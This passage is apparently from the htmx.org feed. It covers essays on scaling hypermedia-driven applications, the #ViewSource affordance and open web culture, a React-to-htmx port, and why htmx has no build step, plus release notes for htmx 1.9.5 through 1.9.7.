of performance-scalable software. While there is no authoritative source for these characteristics, most engineers
with experience scaling software will agree that most of the items on this list are at least helpful:</p>
<ul>
<li>Software should be <em>stateless</em></li>
<li>Software should support <em>horizontal scaling</em></li>
<li>Features in the software should be <em>independent</em></li>
<li>The performance of the system should be <em>observable</em></li>
<li>The software should utilize caching</li>
</ul>
<p>It turns out, happily, that properly designed hypermedia systems can have all these characteristics.</p>
<p>Statelessness is <a rel="noopener" target="_blank" href="https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_3">a constraint of the REST-ful architecture</a>
that Roy Fielding created to describe the web. In practice, many hypermedia-driven applications use a <em>session cookie</em>
to manage a small amount of state on the server side, but this is a well-understood technique that hasn’t proven fatal
in scaling applications.</p>
<p>Horizontal scaling has a long history in hypermedia-driven applications and dovetails with the stateless nature of most
hypermedia-driven applications: early PAAS vendors like <a rel="noopener" target="_blank" href="https://www.heroku.com/">heroku</a> (of blessed memory) offered
easy horizontal scaling of rails-driven applications, for example.</p>
<p>Feature independence is another strength of HDAs. In HDAs, end-points for screens tend to be
<a href="https://htmx.org/essays/two-approaches-to-decoupling/"><em>decoupled</em></a> from one another in a way that general JSON APIs are not. This
means that those endpoints can be monitored, evolved and be tuned independently of one another. We have a long history of
tuning these sorts of endpoints to create sub-100 millisecond response times (e.g. minimizing database queries for a
given end-point by SQL tuning.)</p>
<p>Building on the independence of end-points to support various views, platform performance is easy to monitor and
understand. Rather than a generalized JSON API that can be accessed in multiple ways across your application, you have
UI specific end-points that construct hypermedia for specific views. Determining what is causing a performance issue
becomes much easier when views are constructed on the server-side and requests are driven through simple hypermedia
exchanges.</p>
<p>Finally, web applications have a long and storied history of <a rel="noopener" target="_blank" href="https://ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_4">caching</a>.
HTTP offers caching at the browser, controlled by headers. Mature server side frameworks like Rails offer sophisticated
caching at the controller layer. Caching is second nature for HDAs.</p>
<p>All of these combine to make HDAs extremely scalable from a performance perspective. Battle-tested performance techniques
are available for scaling your HDA as user load increases.</p>
<p>Does the HDA approach push more computation onto the server side? To an extent, this is true. However, the difference
between the JSON representation for a given resource and the HTML representation for it is not nearly as large as some
people think, particularly if you don’t include the header and footer information in HTML requests, as is common in
htmx-based applications. Network latency and datastore-access typically dominates request time anyway, and the ability
to use SQL (or a similar server-side query language) gives you an opportunity to optimize that aspect of the request.</p>
<p>HDAs also typically have the optimal <a rel="noopener" target="_blank" href="https://twitter.com/htmx_org/status/1721750496086798378">“one request per view”</a>
naturally since, well, in HDAs the requests <em>are</em> your views.</p>
<h2 id="scaling-with-of-features"><a class="zola-anchor" href="#scaling-with-of-features" aria-label="Anchor link for: scaling-with-of-features">#</a>Scaling With # Of Features</h2>
<p>Because HDAs tend to have independent end-points driven by UI needs, rather than a general JSON data API, scaling with
the number of features is typically very easy. Assuming a reasonable Model-View-Controller split on the server side,
Controllers and Models tend to be very independent of one another. When features truly overlap, having the features
developed and tested on the server-side provides a more controlled and testable environment.</p>
<p>Views can achieve reuse via server-side includes, found in nearly all server-side templating libraries, or be maintained
separately in order to avoid interdependencies.</p>
<p>All of this is to say that, with reasonable application architecture, HDAs often scale <em>very well</em> with the # of
features in an application, especially when those features are inherently decoupled from one another.</p>
<h2 id="scaling-with-complexity-of-features"><a class="zola-anchor" href="#scaling-with-complexity-of-features" aria-label="Anchor link for: scaling-with-complexity-of-features">#</a>Scaling With Complexity Of Features</h2>
<p>Scaling with the # of features is at some level akin to <em>horizontal scaling</em>: so long as they are relatively independent
they will scale fine (and if they aren’t, HDAs will still often scale as well as or better than other options.)</p>
<p>But what about <em>deep</em> features: features that are complex <em>in themselves</em>?</p>
<p>Here we must split the deep features into two categories:</p>
<ul>
<li>Server-side deep features</li>
<li>Client-side deep features</li>
</ul>
<p>For deep server-side features, HDAs are often a great choice. A good example of this is something like an AI chat-bot:
this is a very sophisticated server-side feature, but it interacts with the user via a simple textual interface. Many
<a rel="noopener" target="_blank" href="https://www.sliceofexperiments.com/p/building-a-personalized-ask-me-anything">AI chat-bots</a> have been built using
htmx, with people remarking on how simple it is.</p>
<p>For deep <em>client-side</em> features, HDAs are sometimes <em>not</em> a great choice. We outline details on this in our essay on
<a href="https://htmx.org/essays/when-to-use-hypermedia/">when to choose hypermedia</a>. To summarize that article: if your UI requires responding to a large number of events
quickly (e.g. dragging a map-view) or has significant inter-UI dependencies that cannot be updated in a bulk hypermedia
exchange (e.g. a spreadsheet application), the hypermedia approach isn’t going to work well</p>
<p>However, we would note two things:</p>
<ul>
<li>It is often possible to <em>wrap</em> more complex front-end behavior within an HDA application, integrating via events. </li>
<li>Sometimes it is better to <a rel="noopener" target="_blank" href="https://grugbrain.dev/#grug-on-saying-no">say “No”</a> to complex front-end features, or at
least consider if a simpler implementation is acceptable that doesn’t entail the additional complexity typically
found with complex front end frameworks.</li>
</ul>
<h2 id="scaling-the-team"><a class="zola-anchor" href="#scaling-the-team" aria-label="Anchor link for: scaling-the-team">#</a>Scaling The Team</h2>
<p>The final sense of scaling we will consider is the idea of scaling a development team. Here we must rely on more
subjective and anecdotal measures, unfortunately.</p>
<p>It is our experience (and the experience of others) that HDAs seem to allow you to accomplish more with <em>fewer</em> developers.
They also eliminate the front-end/back-end split, and the communication friction of this split,
since developers become responsible for entire features. Some people <em>like</em> the front-end/back-end split and feel
this allows teams to scale better by making the teams independent.</p>
<p>We do not agree. We think that the front-end and back-end of most web applications are <em>inherently coupled</em> and, therefore,
the best approach is to adopt an architecture that accepts this coupling and is designed to handle change well, which
the hypermedia approach is (via the uniform interface.)</p>
<p>Can HDAs scale to teams of 100 or more? This we can’t answer because we haven’t seen this scenario. But it can certainly
scale into the 10s. We can <em>imagine</em> the approach scaling much higher (it did during the web 1.0 era, after all) but
at this point we are speculating.</p>
<p>We prefer smaller teams anyway. 10 developers should be enough for any application.</p>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>So, taking these all together, we have the following conclusion regarding scaling Hypermedia-Driven Applications:</p>
<p>HDAs can scale very well with respect to performance and feature count. They <em>can</em> scale with feature complexity,
with caveats. And, finally, the jury is still out on scaling with team size, although we can say that the HDA approach
tends to keep teams smaller and eliminate inter-team communication friction.</p>
htmx 1.9.7 has been released!2023-11-03T00:00:00+00:002023-11-03T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-11-03-htmx-1-9-7-is-released/<h2 id="htmx-1-9-7-release">htmx 1.9.7 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.9.7/">1.9.7 release</a> of htmx.</p>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Fixed a bug where a button associated with a form that is swapped out of the DOM caused errors</li>
<li>The <code>hx-target-error</code> attribute was added to the <code>response-targets</code> extension, allowing you to capture all 400 & 500
responses with a single attribute</li>
<li><code>hx-on</code> now properly supports multiple listeners</li>
<li>The <code>hx-confirm</code> prompt is now passed into custom confirmation handlers</li>
<li><code>next</code> and <code>previous</code> are now valid <em>extended CSS</em> symbols in htmx</li>
<li>The <code>htmx:beforeHistoryUpdate</code> event was added</li>
<li>Properly ignore the <code>dialog</code> formmethod on buttons when resolving the HTTP method to use</li>
<li>Added a <code>htmx.config.scrollIntoViewOnBoost</code> option that may be set to <code>false</code> to disable scrolling the top of the
body into view for boosted elements</li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
htmx 1.9.6 has been released!2023-09-22T00:00:00+00:002023-09-22T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-09-22-htmx-1-9-6-is-released/<h2 id="htmx-1-9-6-release">htmx 1.9.6 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.9.6/">1.9.6 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>IE support has been restored (thank you @telroshan!)</li>
<li>Introduced the <code>hx-disabled-elt</code> attribute to allow specifying elements to disable during a request</li>
<li>You can now explicitly decide to ignore <code>title</code> tags found in new content via the <code>ignoreTitle</code> option in <code>hx-swap</code> and the <code>htmx.config.ignoreTitle</code> configuration variable.</li>
<li><code>hx-swap</code> modifiers may be used without explicitly specifying the swap mechanism</li>
<li>Arrays are now supported in the <code>client-side-templates</code> extension</li>
<li>XSLT support in the <code>client-side-templates</code> extension</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Support <code>preventDefault()</code> in extension event handling</li>
<li>Allow the <code>HX-Refresh</code> header to apply even after an <code>HX-Redirect</code> has occurred</li>
<li>the <code>formaction</code> and <code>formmethod</code> attributes on buttons are now properly respected</li>
<li><code>hx-on</code> can now handle events with dots in their name</li>
<li><code>htmx.ajax()</code> now always returns a Promise</li>
<li>Handle leading <code>style</code> tag parsing more effectively</li>
<li>Many smaller fixes</li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
The #ViewSource Affordance2023-09-21T00:00:00+00:002023-09-21T00:00:00+00:00Unknownhttps://htmx.org/essays/right-click-view-source/<blockquote>
<p>Not for nothing, Hypercard presaged the web’s critical “#ViewSource” affordance, which allowed people to copy,
modify, customize and improve on the things that they found delightful or useful. This affordance was later adapted
by other human-centered projects like #Scratch, and is a powerful tonic against #enshittification.</p>
<p>--<a rel="noopener" target="_blank" href="https://twitter.com/doctorow/status/1701934612686196872">Cory Doctorow @pluralistic@mamot.fr</a></p>
</blockquote>
<h2 id="open-culture-the-web"><a class="zola-anchor" href="#open-culture-the-web" aria-label="Anchor link for: open-culture-the-web">#</a>Open Culture & The Web</h2>
<p>When people talk about open source software, that conversation is often dominated by
<a rel="noopener" target="_blank" href="https://www.gnu.org/philosophy/free-sw.html">the Free Software Foundation’s notion of free software</a>:</p>
<blockquote>
<p>“Free software” means software that respects users’ freedom and community. Roughly, it means that the users have the
freedom to run, copy, distribute, study, change and improve the software.“</p>
</blockquote>
<p>This definition of free software has been a useful one and, through advocating for it, the FSF has gifted the world a
lot of wonderful open source software.</p>
<p>Web applications, however, have always been an uncomfortable fit for this definition of free. This is mainly
for technical reasons: web applications involve a web browser interacting with a web server that is, typically, running
on a remote system.</p>
<p>At a fundamental level, the REST-ful architecture of the web was built around <em>hypermedia representations</em> of remote
resources: browsers deal only with hypermedia representations provided by the server and, thus, have no visibility into
the actual source of the code executing on the server side.</p>
<p>Now, the web has certainly <em>leveraged</em> free and open source software in its growth: browsers are typically (at least mostly)
open source, server software is often open source, and so on. And there are, of course, open source web applications
that users may run for things like forums and so forth.</p>
<p>However, from the standpoint of typical web application users, web applications are not free in the FSF sense of that
term: the users are unable to see and modify the source of the server code that is being executed as they interact with
the application via the browser.</p>
<h3 id="right-click-view-source-as-culture"><a class="zola-anchor" href="#right-click-view-source-as-culture" aria-label="Anchor link for: right-click-view-source-as-culture">#</a>Right-Click-View-Source As Culture</h3>
<p>Despite the fact that the web has a somewhat uncomfortable relationship with the notion of free software, the early web
none-the-less had a radically open <em>developer culture</em>. </p>
<p>In fact, in some important and practical ways, the early web had a <em>more</em> open developer culture than what was achieved
by the free software movement.</p>
<p>The <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> affordance available in browsers allowed people
to understand and “own”, at least in an informal way, the web in a way that even most FSF-conforming applications could
not: you had direct access to the “source”, or at least <em>part</em> of the source, of the application available from
<em>within</em> the application itself.</p>
<p>You could copy-and-paste (or save) the “source” (HTML, JavaScript & CSS) and start modifying it, without a complicated
build tool chain or, indeed, without any tool chain at all.</p>
<p>This radical openness of the web allowed many people, often not formally trained computer programmers, to learn how to
create web pages and applications in an ad hoc and informal way.</p>
<p>In strict free software terms, this was, of course, a compromise: as a user of a web application, you had no visibility
into how a server was constructing a given hypermedia response.</p>
<p>But you could see <em>what</em> the server was responding with: you could download and tweak it, poke and prod at it. You could,
if you were an advanced user, use browser tools to modify the application in place.</p>
<p>And, most importantly, you could <em>learn from it</em>, even if you couldn’t see how the HTML was being produced.</p>
<p>This radical openness of the client and network protocol, and the culture it produced, was a big part of the success
of the early web.</p>
<h2 id="digital-enclosure-vs-technical-enclosure"><a class="zola-anchor" href="#digital-enclosure-vs-technical-enclosure" aria-label="Anchor link for: digital-enclosure-vs-technical-enclosure">#</a>Digital Enclosure vs. Technical Enclosure</h2>
<p>The <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Enclosure">Enclosure Movement</a> was a period in English history when what were
previously <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Commons">commons</a> were privatized.</p>
<p>This was a traumatic event in English history, as evidenced by this poem by an 18th century anon:</p>
<blockquote>
<p>The law locks up the man or woman</p>
<p>Who steals the goose from off the common,</p>
<p>But lets the greater felon loose</p>
<p>Who steals the common from the goose.</p>
<p>–18th century anon</p>
</blockquote>
<p>In the last decade, the web has gone through a period of “Digital Enclosure”, where <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Closed_platform">“Walled Gardens”</a>,
such as Facebook & Twitter, have replaced the earlier, more open and more chaotic blogs and internet forums.</p>
<h3 id="technical-enclosure"><a class="zola-anchor" href="#technical-enclosure" aria-label="Anchor link for: technical-enclosure">#</a>Technical Enclosure</h3>
<p>Many (most?) web developers have decried this trend.</p>
<p>However, despite recognizing the danger of an increasingly closed internet, many web developers don’t consider their own
technical decisions and how those decisions can also contribute to the disappearance of web’s <em>culture</em> of openness.</p>
<p>Inadvertently (for the most part) technical trends and decisions in web development in the last two decades have lead
to what we term a “Technical Enclosure” of the web, a processes whereby technical decisions chip away at the #ViewSource
affordance that Cory Doctrow discusses in the opening quote of this article, an affordance that existed as a commons
for early web developers.</p>
<p>To see a stark example of the decline of the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> affordance
in web development and Technical Enclosure in action, we can look at what is perhaps the most popular web page on the
internet, <a rel="noopener" target="_blank" href="https://google.com">The Google Homepage</a>.</p>
<p>Here is the nearly complete source of that page from the year 2000, taken from
<a rel="noopener" target="_blank" href="http://web.archive.org/web/20000229040250/http://www.google.com/">the wayback machine</a>:</p>
<h3 id="google-in-2000"><a class="zola-anchor" href="#google-in-2000" aria-label="Anchor link for: google-in-2000">#</a>Google in 2000</h3>
<img src="/img/google-2000.png" alt="Google Source Code in 2000" style="border-radius: 12px; margin: 12px">
<p>In contrast, here is a random snapshot of roughly 1/100th of the current source code for the website:</p>
<h3 id="google-in-2023"><a class="zola-anchor" href="#google-in-2023" aria-label="Anchor link for: google-in-2023">#</a>Google in 2023</h3>
<img src="/img/google-2023.png" alt="Google Source Code in 2023" style="border-radius: 12px; margin: 12px">
<p>These two screenshots dramatically demonstrate the decline in the effectiveness of the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> affordance over time:
yes, you can still right-click the page and view its underlying source, but making sense of the latter code would be
challenging for even the most seasoned web developer.</p>
<p>A new web developer would have almost no chance of deriving any value from doing so.</p>
<p>Now, this is not to criticize the google engineer’s technical decisions that lead to this situation <em>as technical
decisions</em>: obviously, despite similar appearances, the google homepage of 2023 is far more sophisticated than the one
available in 2000.</p>
<p>The 2023 google homepage is going to be a lot more complicated than the 2000 page and, given the zeitgeist, it is going to
involve a lot of JavaScript.</p>
<p>However, this is to point out that something deeply important about the early web has been lost, almost certainly
unintentionally, along the way: the ability to view the source of the page, make sense of what it is doing and, most
importantly, to learn from it.</p>
<h2 id="right-click-view-source-extremism"><a class="zola-anchor" href="#right-click-view-source-extremism" aria-label="Anchor link for: right-click-view-source-extremism">#</a>Right-Click-View-Source Extremism</h2>
<p>Both <a href="/">htmx</a> and <a rel="noopener" target="_blank" href="https://hyperscript.org">hyperscript</a> adhere to the <a href="https://htmx.org/essays/locality-of-behaviour/">Locality of Behavior</a>
design principle.</p>
<p>This principle states that:</p>
<blockquote>
<p>The behaviour of a unit of code should be as obvious as possible by looking only at that unit of code</p>
</blockquote>
<p>The main technical advantage of Locality of Behavior is ease of maintenance, as outlined in the essay above.</p>
<p>However, there is an important cultural benefit to the Locality of Behavior of htmx and hyperscript as well: <strong>it restores
the power of the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> affordance on the web</strong>.</p>
<p>Consider <a rel="noopener" target="_blank" href="https://arhamjain.com/hyperwordle/">Hyperwordle</a>, a hyperscript-based clone of the popular
<a rel="noopener" target="_blank" href="https://www.nytimes.com/games/wordle/index.html">Wordle</a> game, now owned by the New York Times.</p>
<p>You can visit Hyperwordle, right click and view the source of it, and you will be presented with some HTML and hyperscript,
all of which is, with a bit of effort, understandable.</p>
<p>The <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> affordance is effective in this case.</p>
<p>Contrast this with the view-source experience of the Wordle implementation at the New York Times.</p>
<p>Now, this is of course a bit unfair: the NYTimes version has a lot more functionality and is heavily optimized. Hyperwordle
is a proof of concept and not being hammered by millions of users every day.</p>
<p>Despite that qualification, Hyperwordle demonstrates a potential future for the web, a future where a culture of openness,
of <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> politeness, is once again a touchstone of the
culture of the web.</p>
<h2 id="prioritizing-viewsource"><a class="zola-anchor" href="#prioritizing-viewsource" aria-label="Anchor link for: prioritizing-viewsource">#</a>Prioritizing <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a></h2>
<p>Engineers who care about the open culture of the web should recognize that the threats to that culture come not only from
Digital Enclosure by large, private companies of the most important pieces of the web.</p>
<p>They should also recognize the risks of Technical Enclosure, and the <em>non-technical</em> value of the
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a> affordance in perpetuating the open culture of
web development. They should start thinking about making this affordance a priority in their technical decisions. As
with all priorities, this may involve trading off against other technical and even functional priorities during
application development.</p>
<p>But if we don’t stand up for <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/View-source_URI_scheme">#ViewSource</a>, no one else will.</p>
<br/>
<img src="/img/memes/viewsource.png" alt="Right Click View Source Guy" style="border-radius: 12px; margin: 12px">Another Real World React -> htmx Port2023-09-20T00:00:00+00:002023-09-20T00:00:00+00:00Unknownhttps://htmx.org/essays/another-real-world-react-to-htmx-port/<p>The <a href="https://htmx.org/essays/a-real-world-react-to-htmx-port/">Mother of All htmx Demos</a> you can see the real world results of a
port from a React-based front end to an htmx-powered front end. The results are very good, although we qualify the
experience with the following:</p>
<blockquote>
<p>These are eye-popping numbers, and they reflect the fact that the Contexte application is extremely amenable to
hypermedia: it is a content-focused application that shows lots of text and images. We would not expect every
web application to see these sorts of numbers.</p>
<p>However, we <em>would</em> expect <em>many</em> applications to see dramatic improvements by adopting the hypermedia/htmx approach, at
least for part of their system.</p>
</blockquote>
<p>As luck would have it, we have another application (again, based on Django on the server side) that has been ported from
a React front end to an htmx front end: <a rel="noopener" target="_blank" href="https://openunited.com/">OpenUnited</a>.</p>
<p>Here is a graphic from the <a rel="noopener" target="_blank" href="https://www.linkedin.com/feed/update/urn:li:activity:7109116330770878464/">original LinkedIn post</a>
by Adrian McPhee, showing the total Lines of Code in the code base before and after the port:</p>
<p><img src="/img/open_united_before_after_htmx.png" alt="Open United Before & After" /></p>
<h3 id="before-after-source-code"><a class="zola-anchor" href="#before-after-source-code" aria-label="Anchor link for: before-after-source-code">#</a>Before/After Source Code</h3>
<p>A very nice aspect of this port is that, because OpenUnited is open source, in contrast with Contexte, the before and
after code is available to examine:</p>
<p>Before: <a rel="noopener" target="_blank" href="https://github.com/OpenUnited/old-codebase">https://github.com/OpenUnited/old-codebase</a></p>
<p>After: <a rel="noopener" target="_blank" href="https://github.com/OpenUnited/platform">https://github.com/OpenUnited/platform</a></p>
<h2 id="executive-summary"><a class="zola-anchor" href="#executive-summary" aria-label="Anchor link for: executive-summary">#</a>Executive Summary</h2>
<p>Here is a high-level summary of the port</p>
<ul>
<li>They reduced the <strong>code base size</strong> by <strong>61%</strong> (31237 LOC to 12044 LOC)</li>
<li>They reduced the <strong>total number of files</strong> by <strong>72%</strong> (588 files to 163 files)</li>
<li>They reduced the <strong>total number of file types</strong> by <strong>38%</strong> (18 file types to 11 file types)</li>
<li>Subjectively, development velocity felt at least <strong>5X</strong> faster</li>
<li>Rather than prototyping in Figma and then porting to HTML, UX development was done directly in HTML</li>
</ul>
<h2 id="analysis"><a class="zola-anchor" href="#analysis" aria-label="Anchor link for: analysis">#</a>Analysis</h2>
<p>Once again we have some eye-popping results. This is because the OpenUnited application is extremely
amenable to hypermedia: like Contexte, it is a content-focused application that shows lots of text and images.</p>
<p>This experience again demonstrates that, for at least a certain class of web applications, htmx and the hypermedia
architecture can be an excellent choice.</p>
htmx 1.9.5 has been released!2023-08-25T00:00:00+00:002023-08-25T00:00:00+00:00Unknownhttps://htmx.org/posts/2023-08-25-htmx-1-9-5-is-released/<h2 id="htmx-1-9-5-release">htmx 1.9.5 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.9.5/">1.9.5 release</a> of htmx.</p>
<h3 id="new-features">New Features</h3>
<ul>
<li>You can disable the interpretation of script tags with the new <code>htmx.config.allowScriptTags</code> config variable</li>
<li>You can now disable htmx-based requests to non-origin hosts via the <code>htmx.config.selfRequestsOnly</code> config variable</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>The <a rel="noopener" target="_blank" href="https://htmx.org/docs#security">Security</a> section has been expanded to help developers better understand how to
properly secure their htmx-based applications.</li>
<li>Web sockets now properly pass the target id in the HEADERS struct</li>
<li>A very rare loading state bug was fixed (see https://github.com/bigskysoftware/htmx/commit/93bd81b6d003bb7bc445f10192bdb8089fa3495d)</li>
<li><code>hx-on</code> will not evaluate if <code>allowEval</code> is set to false</li>
</ul>
<p>Thank you to everyone who contributed, and enjoy!</p>
Why htmx Does Not Have a Build Step2023-08-19T00:00:00+00:002023-08-19T00:00:00+00:00Unknownhttps://htmx.org/essays/no-build-step/<p>A recurring question from some htmx contributors is why htmx isn’t written in TypeScript, or, for that matter, why htmx lacks any build step at all. The full htmx source is a single 3,500-line JavaScript file; if you want to contribute to htmx, you do so by modifying the <code>htmx.js</code> file, the same file that gets sent to browsers in production, give or take minification and compression.</p>
<p>I do not speak for the htmx project, but I have made a few nontrivial contributions to it, and have been a vocal advocate for retaining this no-build setup every time the issue has arisen. From my perspective, here’s why htmx does not have a build step.</p>
<h2 id="write-once-run-forever"><a class="zola-anchor" href="#write-once-run-forever" aria-label="Anchor link for: write-once-run-forever">#</a>Write Once, Run Forever</h2>
<p>The best reason to write a library in plain JavaScript is that it lasts forever. This is arguably JavaScript’s single most underrated feature. While I’m sure there are some corner cases, JavaScript from 1999 that ran in Netscape Navigator will run unaltered, alongside modern code, in Google Chrome downloaded yesterday. That is true for very few programming environments. It’s certainly not true for Python, or Java, or C, which all have versioning mechanisms where opting for new language features will force you off of deprecated APIs.</p>
<p>Of course, most people’s experience with JavaScript is that it ages like milk. Reopen a node repository after 3 months and you’ll find that your project is mired in a flurry of security warnings, backwards-incompatible library “upgrades,” and a frontend framework whose cultural peak was the exact moment you started the project and is now widely considered tech debt. Who’s to blame for this situation is for someone else to decide, but, in any case, you can eliminate this entire problem class by not having any dependencies beyond the JavaScript runtime.</p>
<p>A popular way to write JavaScript today is compile it from TypeScript (which I will use frequently as an example, because TypeScript is probably the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Straw_man#Steelmanning">best reason</a> to use a build system). TypeScript does not run natively in web browsers, so TypeScript code is not protected by <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Glossary/ECMA">ECMA’s</a> fanatical devotion to backwards compatibility. Like any dependency, new major TypeScript versions are not guaranteed to be backwards compatible with the previous ones. They might be! But if they aren’t, then you need to do maintenance if you want to use the modern development toolchain.</p>
<p>Maintenance is a cost paid for with labor, and open-source codebases are the projects that can least afford to pay it. Opting not to use a build step drastically minimizes the labor required to keep htmx up-to-date. This experience has been borne out by <a rel="noopener" target="_blank" href="https://intercoolerjs.org">intercooler.js</a>, the predecessor to htmx which is maintained indefinitely with (as I understand) very little effort. When htmx 1.0 was released, TypeScript was at version 4.1; when intercooler.js was released, TypeScript was pre-1.0. Would code written in those TypeScript versions compile unmodified in today’s TypeScript compiler (version 5.1 at the time of writing)? Maybe, maybe not.</p>
<p>But htmx is written in JavaScript, with no dependencies, so it will run unmodified for as long as web browsers remain relevant. Let the browser vendors do the hard work for you.</p>
<h2 id="developer-experience"><a class="zola-anchor" href="#developer-experience" aria-label="Anchor link for: developer-experience">#</a>Developer Experience</h2>
<p>It is true that the TypeScript developer experience (DX) is better than the JavaScript developer experience in many respects. It is not true that the TypeScript DX is better in <em>every</em> respect, and the tendency of software engineers to view progress as a teleology of capability rather than choices with tradeoffs sometimes blinds them to the cost paid for the DX aspects they like. For instance, a small tradeoff you make for using TypeScript is that compiling it takes time, and you have to wait for it to recompile to test a change. Usually this cost is negligible, and well worth paying, but it is nonetheless a cost.</p>
<p>A more significant cost for using TypeScript is that the code running in the browser is not the code you wrote, which makes the browser’s developer tools harder to use. When your TypeScript code throws an exception, you have to figure out how the stack trace (with its JavaScript line numbers, JavaScript function signatures, and so forth) maps to the TypeScript code that you wrote; when your JavaScript code throws an exception, you can click straight through to the source code, read the thing you wrote, and set a breakpoint in the debugger. This is <em>tremendous</em> DX. For many younger web developers who have never worked this way, it can be a revelatory experience.</p>
<p>Build step advocates point out that TypeScript can generate <a rel="noopener" target="_blank" href="https://firefox-source-docs.mozilla.org/devtools-user/debugger/how_to/use_a_source_map/index.html">source maps</a>, which tell your browser what TypeScript corresponds to what JavaScript, and that’s true! But now you have <em>another</em> thing to keep track of—the TypeScript you wrote, the JavaScript it generated, and the source map that connects these two. The hot-reloading development server you’re now dependent on will keep these up to date for you on localhost—but what about on your staging server? What about in production? Bugs that appear in these environments will be harder to track down, because you’ve lost a lot of information about where they come from. These are solvable problems, but they’re problems you created; they are a cost.</p>
<p>The htmx DX is very simple—your browser loads a single file, which in every environment is the exact same file you wrote. The tradeoffs required to maintain that experience are real, but they’re tradeoffs that make sense for this project.</p>
<h2 id="enforced-clarity"><a class="zola-anchor" href="#enforced-clarity" aria-label="Anchor link for: enforced-clarity">#</a>Enforced Clarity</h2>
<p>Modularization is one of the <a rel="noopener" target="_blank" href="https://legacy.python.org/dev/peps/pep-0020/">honking great ideas</a> of software. Modules make it possible to solve incredibly complex problems by breaking down code into well-contained substructures that solve smaller problems. Modules are really useful.</p>
<p>Sometimes, however, you want to solve simple problems, or at least relatively simple problems. In those cases, it can be helpful <em>not</em> to use the building blocks of more complex software, lest you emulate their complexity without creating commensurate value. At its core, htmx solves a relatively simple problem: it adds a handful of attributes to HTML that make it easier to replace DOM elements using the declarative character of hypertext. Requiring that htmx remain in a single file (again, around 3,500 LOC) enforces a degree of intention on the library; there is a real pressure when working on the htmx source to justify the addition of new code, a pressure which maintains an equilibrium of relative simplicity.</p>
<p>While the DX costs are obvious, there are also surprising DX benefits. If you search a function name in the source file, you’ll instantly find every invocation of that function (this also mitigates the need for more-advanced code introspection). The lack of places for functionality to hide makes working on htmx a lot more approachable. Far, far more complex projects use aspects of this approach as well: SQLite3 compiles from a <a rel="noopener" target="_blank" href="https://www.sqlite.org/amalgamation.html">single-file source amalgamation</a> (though they use separate files for development, they’re not <em>crazy</em>) which makes hacking on it <a rel="noopener" target="_blank" href="https://jvns.ca/blog/2019/10/28/sqlite-is-really-easy-to-compile/">significantly easier</a>. You could never build the linux kernel this way—but htmx is not the linux kernel.</p>
<h1 id="costs"><a class="zola-anchor" href="#costs" aria-label="Anchor link for: costs">#</a>Costs</h1>
<p>Like any technology decision, choosing to forgo a build step has advantages and disadvantages. It’s important to acknowledge those tradeoffs so that you can make an informed decision, and revisit that decision if some of the benefits or costs no longer apply. With the advantages of writing plain JavaScript in mind, let’s consider some of the pain points it introduces.</p>
<h2 id="no-static-types"><a class="zola-anchor" href="#no-static-types" aria-label="Anchor link for: no-static-types">#</a>No static types</h2>
<p>TypeScript is a strict superset of JavaScript, and some of the features it adds are very useful. TypeScript has… types, which make your <a rel="noopener" target="_blank" href="https://grugbrain.dev/#grug-on-type-systems">IDE better at suggesting code</a> and pointing out where you might have used methods incorrectly. The tools for automatically renaming and refactoring code are much more reliable for TypeScript than they are for JavaScript. The htmx code does have to be written in JavaScript, though, because browsers run JavaScript. And <a rel="noopener" target="_blank" href="https://github.com/tc39/proposal-type-annotations">as long as JavaScript is dynamically typed</a>, the tradeoffs required to get true static typing in the htmx source are not worth it (htmx <em>users</em> can still take advantage of typed APIs, declared with <code>.d.ts</code> files).</p>
<p>Future versions of htmx might use JSDoc to get some of the same guarantees without the build step. Other libraries, like <a rel="noopener" target="_blank" href="https://github.com/sveltejs/svelte/pull/8569">Svelte</a>, have been trending in this direction as well, in part due to the <a rel="noopener" target="_blank" href="https://news.ycombinator.com/item?id=35892250">debugging friction</a> that TypeScript files introduce.</p>
<h2 id="no-es6"><a class="zola-anchor" href="#no-es6" aria-label="Anchor link for: no-es6">#</a>No ES6</h2>
